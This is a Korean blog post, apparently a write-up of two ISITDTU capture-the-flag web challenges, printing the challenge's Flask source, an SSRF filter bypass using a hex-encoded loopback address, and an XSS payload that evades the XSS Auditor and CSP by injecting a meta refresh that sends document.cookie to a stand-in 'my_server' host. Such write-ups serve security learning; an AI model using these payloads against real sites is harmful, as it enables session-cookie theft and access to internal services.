'2019/07/01'에 해당되는 글 2건

Canhack.me Redirect

2019. 7. 1. 23:34

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

해당 대회는 참여를 못해서 대회 끝나고 웹 문제가 열려있길래 풀어봤다.


Rosé Garden


문제에 들어가보면 아래와 같이 SSRF로 보이는 기능하나가 보인다. 근데 이 기능만 가지고 뭐 터트려보려고 하면 아무것도 안된다. 여기서 좀 헤매다 robots.txt 보니까 소스가 있길래 다운받아보니 아래와 같았다.


app.py


#!/usr/bin/env python

from flask import Flask, render_template, request, send_from_directory, abort

from concurrent.futures import ThreadPoolExecutor

from urllib.parse import urlparse

from socket import inet_aton


import requests

import asyncio


app = Flask(__name__)

app.jinja_env.lstrip_blocks = True

app.jinja_env.trim_blocks = True


async def check_func(hostname, port):

    try:

        if len(hostname.split('.')) != 4: 0/0


        if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


        if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


        if not port: port = 80

        

        result = []

        with ThreadPoolExecutor(max_workers=3) as executor:

            loop = asyncio.get_event_loop()

            tasks = [

                loop.run_in_executor(

                    executor,

                    lambda u: requests.get(u, allow_redirects=False, timeout=2),

                    url

                ) for url in [f'http://{hostname}:{port}', 'http://127.0.0.1:3333']

            ]

            for res in await asyncio.gather(*tasks):

                result.append(res.text)

    except:

        return False


    return result[1] if result[0] == result[1] else False


@app.route('/<path:path>')

def send_static(path):

    return send_from_directory('static', path)


@app.route('/')

def index():

    return render_template('index.html')


@app.route('/request', methods=['GET', 'POST'])

def request_page():

    if 'url' in request.form and request.form['url']:

        url = request.form['url']

        if url[:7] != 'http://':

            url = 'http://' + url


        host_info = urlparse(url)._hostinfo


        asyncio.set_event_loop(asyncio.new_event_loop())

        loop = asyncio.get_event_loop()

        FLAG = loop.run_until_complete( asyncio.ensure_future( check_func(*host_info) ) )

        if FLAG:

            return render_template('request.html', flag=FLAG)

        else:

            return render_template('request.html', error=True)


    return render_template('request.html')


if __name__ == '__main__':

    app.run(host='0.0.0.0', port=80, debug=False)




def check_func 함수 내부의 필터링 로직이 존재한다.


127.0.0.1:3333에 접근해야 하는데 아래 코드로 인해 필터링을 당하고있다.


if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


ip를 10진수대신 16진수로 대체해주면 해당 필터가 우회된다.


payload = http://0x7f.0x0.0x0.0x1:3333


Flag = ISITDTU{warmup task is not that hard}


XSS Game 1


문제에 들어가보면 간단한 Reflectd XSS가 터지는 기능이 하나 나온다. 


취약점이 터지는 코드는 아래와 같다.


/*** We prevent change the location ***:

<script>Object.freeze(location);</script>input<br><script>location='http://input';</script>


input이 두 군데 지점에 들어가고 Object.freeze로 location 객체를 통한 redirect를 필터링하고 있다.


필터 당하는 문자열을 보면 `,' 이거 두가지 정도라 그냥 XSS 터트리면 될 것 같은데 Chrome XSS Auditor랑 CSP가 적용되어 있다.


최종적으로 해야할건 Chrome XSS Auditor Bypass + CSP Bypass + locaion filter Bypass 정도였다.


먼저 XSS auditor는 `가 필터링되고 있지만 인풋이 개행없이 하나의 라인 2군데 지점에 들어가서 "를 통해 우회해줬다.


";alert(1);//<script>


그다음 CSP와 같은 경우는 아래와 같이 세팅되어 있었다.


default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin


기본적인 resource load 정책이 다 self로 되어있었고 sandbox 정책까지 적용되어 있었다. 여기다 location까지 필터당하고 있어서 위 두가지에 필터안되는 구문을 찾아야했다.


location 외에 redirection을 만드는 html 구문 몇개를 테스트 해보니 csp에 안걸리는 구문을 찾을수 있었다.


window.open <- filter (csp allow-popups) 

form action <- filter (csp allow-forms)

a tag href <- filter bypass

meta tag refresh <- filter bypass


payload =  http://165.22.52.11/XSSGAME1/?pl=";a=document.createElement("meta");a.httpEquiv="refresh";a.content="0;url=http://my_server/?"%2bdocument.cookie;document.body.appendChild(a);//<script>"


Flag = ISITDTU{0274fdcad72fb003e36bb77d9ef2279b3eb3f519}
























블로그 이미지

JeonYoungSin

메모 기록용 공간

,